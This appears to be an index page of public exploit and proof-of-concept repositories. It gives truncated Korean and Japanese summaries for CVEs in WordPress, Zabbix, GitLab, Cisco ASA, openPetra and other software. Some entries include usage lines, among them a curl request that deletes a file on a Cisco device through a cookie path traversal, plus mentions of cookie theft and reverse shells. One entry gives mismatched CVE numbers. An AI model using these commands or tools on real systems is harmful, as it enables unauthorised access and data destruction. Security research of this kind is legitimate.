CVE-2024-40506

CVE-2024-40506 openPetra v.2023.02의 serverMHospitality.asmx 함수를 통한 크로스 사이트 스크립팅 취약점 설명 : 인증되지 않은 사용자가 openPetra v.2023.02의 serverMHospitality.asmx 함수를 통한 XSS를 악용하여 인증된 사용자의 쿠키를 탈취할 수 있습니다. 취약한 제품 버전 : openPetra v.2023.02 CVE 작성자 : Jansen Moreira 날짜 : 13/07/2024 CVE : CVE-2024-40506 CVE 링크 :...

CVE-2025-26244

CVE-2025-26244-POC この脆弱性を悪用するコードは 'spoof.go' にあります。これはC2サーバーに対してエージェントになりすますものです。この脆弱性を実行するには、以下を知っている必要があります: 1. リスナーのIPアドレスとポート 2. リスナーの公開鍵。 3. リスナーの初回チェックインURL。 この情報は、オペレーターが以前生成したバイナリをリバースエンジニアリングすることで入手できます。 現在、'spoof.go' はリスナーとエージェントの両方がHTTPSプロトコルを使用する場合にのみ動作します。ただし、適応させれば、DeimosC2...

POC-CVE-2014-0166

CVE-2014-0166의 POC 및 EXP WordPress 3.8.2 쿠키 위조 취약점 이 취약점에 대한 자세한 내용은여기에서 확인할 수 있습니다. 세 개의 파일이 있습니다: wpzerocookiegenerator.php 이 취약점을 검증하기 위한 POC입니다. 요청을 보내지 않으며, 로컬 무차별 대입brute-force 도구입니다. 변수를 재정의하여 정보를 제공하면 zero cookie 를 찾으려고 시도합니다. zeroCatcher.py Python으로 작성된 멀티프로세싱 POC...

CVE-2025-63708

CVE-2025-63708 CVE ID: CVE-2025-63708 Assigned: 11-12-2025 Problem Type: CWE-79 クロスサイトスクリプティング Affected Product: “AI Font Matcher” 2025-10-10投稿, nid=18425 Product page: https://www.sourcecodester.com/javascript/18425/ai-font-matcher-using-html-css-and-javascript-source-code.html Discovery date:...

Blacklist3r

Blacklist3r 이 프로젝트의 목표는 다양한 웹 프레임워크와 관련된 비밀 키/비밀 자료 중 공개적으로 이용 가능하며 개발자가 잠재적으로 사용할 수 있는 것들을 수집하는 것입니다. 이러한 비밀들은 Blacklist3r 도구에서 대상 애플리케이션을 감사하고 사전 게시된 키의 사용을 확인하는 데 활용됩니다. 우리는 이 프로젝트를 .Net Machine Key 도구와 함께 공개하여 애플리케이션에서 폼 인증 쿠키의 암호화 및 복호화에 사전 공유된 Machine Key의 사용을 식별할 수 있도록 합니다. 참고: Visual Stud...

CVE-2024-4367-POC-PDFJS

CVE 2024 4367: XSSCross-Site Scripting 익스플로잇을 위한 PoC 1. 경고 표시 XSS 트리거 또 다른 익스플로잇 예시는 공격이 작동하는지 확인하기 위해 간단한 경고 메시지를 주입하는 것입니다. python poc.py "alert'XSS exploit triggered';" 설명 : 이 코드는 페이지에 경고 팝업을 주입하여 XSS 익스플로잇이 대상 사이트에서 실행되는지 빠르게 테스트할 수 있게 합니다. 2. 쿠키 탈취 XSS 공격은 피해자의 쿠키를 탈취하여 악성 서버로 전송하는 데 사용될 수...

CVE-2021-40903

익스플로잇 제목: Antminer Monitor 0.5.0 - 인증 우회 CVE: CVE-2021-40903 날짜: 2021-06-09 Dork:https://www.zoomeye.org/searchResult?q=%22antminer%20monitor%22 익스플로잇 작성자: CQR.company / Vulnz. 공급업체 홈페이지: https://github.com/anselal/antminer-monitor, https://twitter.com/intent/follow?screenname=AntminerMonitor 소프트...

CVE-2025-5947

CVE-2025-5947 CVE-2025-5947 WordPress Service Finder Bookings ≤ 6.0 Exploit CVE-2025-5947 Exploit - Service Finder Bookings WordPress Service Finder Bookings ≤ 6.0 플러그인의 인증 우회 취약점을 위한 익스플로잇 도구 📋 목차 취약점 정보 기술 세부사항 설치 사용법 예제 결과 보안 참고 자료 🔴 취약점 정보 CVE-2025-5947 Service Finder Bookings WordPress 플러그인 ...

CVE-2026-46275

CVE-2026-46725 — TYPO3 ceselector Extension RCE unserialize 쿠키 우회를 통한 PHP Object Injection → 원격 코드 실행 📋 목차 취약점 정보 기술적 세부사항 요구 사항 설치 사용법 예시 출력 형식 작동 원리 참고 자료 법적 고지 🔍 취약점 정보 분야| 세부 정보 ---|--- CVE ID| CVE-2026-46725 제품| TYPO3 ceselector Extension mmc/ceselector 영향받는 버전| ⚠️ 전제 조건: 취약점을 악용하려면 TYPO3 구성에...

cve-2022-23131

cve-2022-23131 FOFA app="ZABBIX-监控系统" && body="saml" 実行 python cve-2022-23131.py https://www.example.com Admin expを利用してsignedsessionを生成し、cookieを置き換えた後、Sign in with Single Sign-On SAMLをクリックします デフォルトはAdmin （規模を尊重し、結果は自己責任） 偶然の出会いですが、平凡を甘んじない平凡人に敬意を表します...

CVE-2020-10199-10204

CVE-2020-10199-10204 http://1984-0day.com python3 poc.py -i 127.0.0.1 -p 8081 -c cookie -csrf csrf-token parse = argparse.ArgumentParser parse.addargument'-i', '--ip', help='ip' parse.addargument'-p', '--port', default='8081', help='port' parse.addargument'-c', '--cookie', help='HTTP cookie'...

Node.js-CVE-2017-5941

NodeJS 안전하지 않은 역직렬화 취약점 데모 Node.js는 JavaScript로 서버 기능을 구현하는 데 사용되는 오픈 소스 런타임 환경입니다. Node.js 내 특정 소프트웨어 패키지에는 역직렬화를 처리하는 취약한 함수가 포함되어 있어, 클라이언트가 특수하게 조작된 쿠키를 제공하면 승인되지 않은 명령이 실행됩니다. 이 취약점은 재현되었으며, 잠재적으로 리버스 셸을 실행할 수 있습니다. 이는 클라이언트 요청의 쿠키에서 읽은 무결하지 않은 입력 데이터 때문에 가능합니다. 클라이언트는 자신의 쿠키를 수정하고, bash 명령을...

CVE-2022-23131

CVE-2022-23131 Zabbix フロントエンドの認証バイパス脆弱性 説明 このスクリプトは CVE-2022-23131 のエクスプロイトです。これは Zabbix の SSO（シングルサインオン）メカニズムにおける脆弱性です。この脆弱性により、攻撃者は特別に細工された zbxsession Cookie を介して認証をバイパスし、Zabbix ダッシュボードへ不正にアクセスできます。 影響を受けるバージョンは Zabbix 5.4.0 から 5.4.8、および 6.0.0alpha2 から 6.0.0rc1 です。 使用方法 このスクリプトは、対象が...

CVE-2020-10977

GitLab v12.4.0-12.8.1 RCE このツールは https://github.com/dotPY-hax/gitlabRCE に完全に基づいています。しかし、それは私の環境では動作せず、HTML解析が面倒だったため、JavaScriptで書き直しました。 使用法 通常の方法でリバースシェルハンドラを起動し、その後このスクリプトを以下のように実行します。 TARGETURI="https://target" TARGETEMAILDOMAIN="laboratory.htb" \ TARGETUSER="test" TARGETPASSWORD="Test pass 12...

nuubi

Nuubi Tools Scanner, Recon. Details Options: -h/--help | Show help message and exit Arguments: -b/--banner | Banner grabing of target ip address -s/--subnet | Subnetlookup of target -c/--cms | Cms detect with headers -d/--dns | Dnslookup of target domain -e/--extract | Extract links from target...

CVE-2020-3187

CVE-2020-3187 curl -H "Cookie: token=. ./+CSOU+/cscologo.gif" https://target.com/+CSCOE+/sessionpassword.html logo.gif이가 삭제됩니다...

TendaSpill

TendaSpill CVE-2015-5995를 사용하여 비밀번호를 추출하는 익스플로잇 도구입니다. CVE-2015-5995 펌웨어 5.07.50을 실행하는 Mediabridge Medialink MWN-WAPR300N 장치와 Tenda N3 Wireless N150 장치는 HTTP Cookie 헤더의 특정 admin 하위 문자열을 통해 원격 공격자가 관리자 액세스 권한을 얻을 수 있도록 합니다. 면책 조항 이 도구는 테스트 및 교육 목적으로만 제공됩니다. 이 코드의 다른 용도는 허용되지 않습니다. 사용에 따른 위험은 사용자...

CVE-2019-5420-PoC

CVE-2019-5420-PoC これはPentesterLabのために書きました。 PentesterLabの皆さん、カンニングはしないでください。自分で学ぶ方がはるかに良いです。 誰かの役に立てば幸いです。将来の自分でなくても : 素敵なargparseの処理、悪くないPoCです。 使い方 usage: script.py -h --appname APPNAME --cookie COOKIE --modify KEY VALUE CVE-2019-5420 options: -h, --help show this help message and exit --appname...

CVE-2017-9822

CVE-2017-9822 DotNetNuke 일반적으로 DNN 으로 약칭은 마이크로소프트의 ASP.NET 기술을 기반으로 하는 CMSContent Management System 플랫폼 이자 웹 애플리케이션 프레임워크 입니다. 주요 정보 영향을 받는 제품: DotNetNuke DNN Platform – 널리 사용되는 .NET CMS/포털. 공개 날짜: 2017년 7월. 심각도: Critical CVSS 9.8. 취약점 유형: XML External Entity XXE / 안전하지 않은 역직렬화 → 원격 코드 실행 RCE. 영향...

CVE-2020-15051

CVE-2020-15051 : Artica Proxy 4.28.030418 Community Edition 이전 버전에서 저장형 교차 사이트 스크립팅Stored Cross Site Scripting이 발생합니다. 제품 설명: Artica Tech는 일반적으로 대기업 및 다국적 기업의 전유물이었던 강력하면서도 사용하기 쉬운 솔루션을 제공합니다. 단 99€의 시작 가격과 62,000개 이상의 활성 서버를 보유한 Artica Proxy는 지난 10년간 오픈 소스 프로젝트로 개발되어 중소기업과 공공 기관이 저렴한 비용으로 조직과 직원...